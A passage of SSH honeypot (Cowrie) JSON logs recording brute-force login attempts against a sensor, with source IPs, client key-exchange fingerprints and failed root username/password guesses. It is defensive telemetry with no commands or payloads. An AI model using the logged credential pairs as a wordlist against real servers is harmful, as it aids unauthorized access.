roup14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:47.416752Z","src_ip":"80.66.85.226","session":"c6d941e9fb2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"081188","message":"login attempt [root/081188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:47.675795Z","src_ip":"80.66.85.226","session":"c6d941e9fb2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:48.763830Z","src_ip":"80.66.85.226","session":"c6d941e9fb2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":51020,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a5255a330e8","protocol":"ssh","message":"New connection: 143.20.185.207:51020 (10.17.0.5:22) [session: 7a5255a330e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:53.120701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:53.124438Z","src_ip":"143.20.185.207","session":"7a5255a330e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:53.253647Z","src_ip":"143.20.185.207","session":"7a5255a330e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS#8VCPU32GBAMD","message":"login attempt [root/undefinedVPS#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:53.622801Z","src_ip":"143.20.185.207","session":"7a5255a330e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:54.744846Z","src_ip":"143.20.185.207","session":"7a5255a330e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":59010,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc51dc17205","protocol":"ssh","message":"New connection: 91.92.40.176:59010 (10.17.0.5:22) [session: 1bc51dc17205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:57.438603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:57.442076Z","src_ip":"91.92.40.176","session":"1bc51dc17205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:57.523881Z","src_ip":"91.92.40.176","session":"1bc51dc17205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:57.770382Z","src_ip":"91.92.40.176","session":"1bc51dc17205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:16:58.853163Z","src_ip":"91.92.40.176","session":"1bc51dc17205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":37576,"dst_ip":"10.17.0.5","dst_port":22,"session":"c59de4001889","protocol":"ssh","message":"New connection: 147.45.199.80:37576 (10.17.0.5:22) [session: c59de4001889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:00.098193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:00.102016Z","src_ip":"147.45.199.80","session":"c59de4001889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:00.200112Z","src_ip":"147.45.199.80","session":"c59de4001889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjcvjyfdn","message":"login attempt [root/rjcvjyfdn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:00.496009Z","src_ip":"147.45.199.80","session":"c59de4001889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:01.598342Z","src_ip":"147.45.199.80","session":"c59de4001889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":46100,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8ee9bae447d","protocol":"ssh","message":"New connection: 103.98.149.87:46100 (10.17.0.5:22) [session: a8ee9bae447d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:10.363675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:10.367036Z","src_ip":"103.98.149.87","session":"a8ee9bae447d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:10.590897Z","src_ip":"103.98.149.87","session":"a8ee9bae447d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:11.271907Z","src_ip":"103.98.149.87","session":"a8ee9bae447d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":54970,"dst_ip":"159.203.135.109","dst_port":22,"session":"3347bc0eb453","protocol":"ssh","message":"New connection: 208.109.189.255:54970 (159.203.135.109:22) [session: 3347bc0eb453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:12.018825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:12.022474Z","src_ip":"208.109.189.255","session":"3347bc0eb453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:12.086838Z","src_ip":"208.109.189.255","session":"3347bc0eb453","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skale789","message":"login attempt [root/skale789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:12.281162Z","src_ip":"208.109.189.255","session":"3347bc0eb453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:12.497448Z","src_ip":"103.98.149.87","session":"a8ee9bae447d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:13.350515Z","src_ip":"208.109.189.255","session":"3347bc0eb453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":50134,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a62e9da21bb","protocol":"ssh","message":"New connection: 89.223.69.22:50134 (10.17.0.5:22) [session: 1a62e9da21bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:29.050138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:29.052675Z","src_ip":"89.223.69.22","session":"1a62e9da21bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:29.163261Z","src_ip":"89.223.69.22","session":"1a62e9da21bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"412412","message":"login attempt [root/412412] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:29.490171Z","src_ip":"89.223.69.22","session":"1a62e9da21bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:30.600617Z","src_ip":"89.223.69.22","session":"1a62e9da21bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":59480,"dst_ip":"159.203.135.109","dst_port":22,"session":"98ac094aedd3","protocol":"ssh","message":"New connection: 62.133.62.83:59480 (159.203.135.109:22) [session: 98ac094aedd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:40.114779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:40.118613Z","src_ip":"62.133.62.83","session":"98ac094aedd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:40.203615Z","src_ip":"62.133.62.83","session":"98ac094aedd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:40.451619Z","src_ip":"62.133.62.83","session":"98ac094aedd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:41.535796Z","src_ip":"62.133.62.83","session":"98ac094aedd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":47694,"dst_ip":"10.17.0.5","dst_port":22,"session":"7068e2fd5e2f","protocol":"ssh","message":"New connection: 14.55.144.22:47694 (10.17.0.5:22) [session: 7068e2fd5e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:52.891240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:52.898193Z","src_ip":"14.55.144.22","session":"7068e2fd5e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:53.106280Z","src_ip":"14.55.144.22","session":"7068e2fd5e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23452345","message":"login attempt [root/23452345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:17:53.971826Z","src_ip":"14.55.144.22","session":"7068e2fd5e2f","protocol":"ssh"}
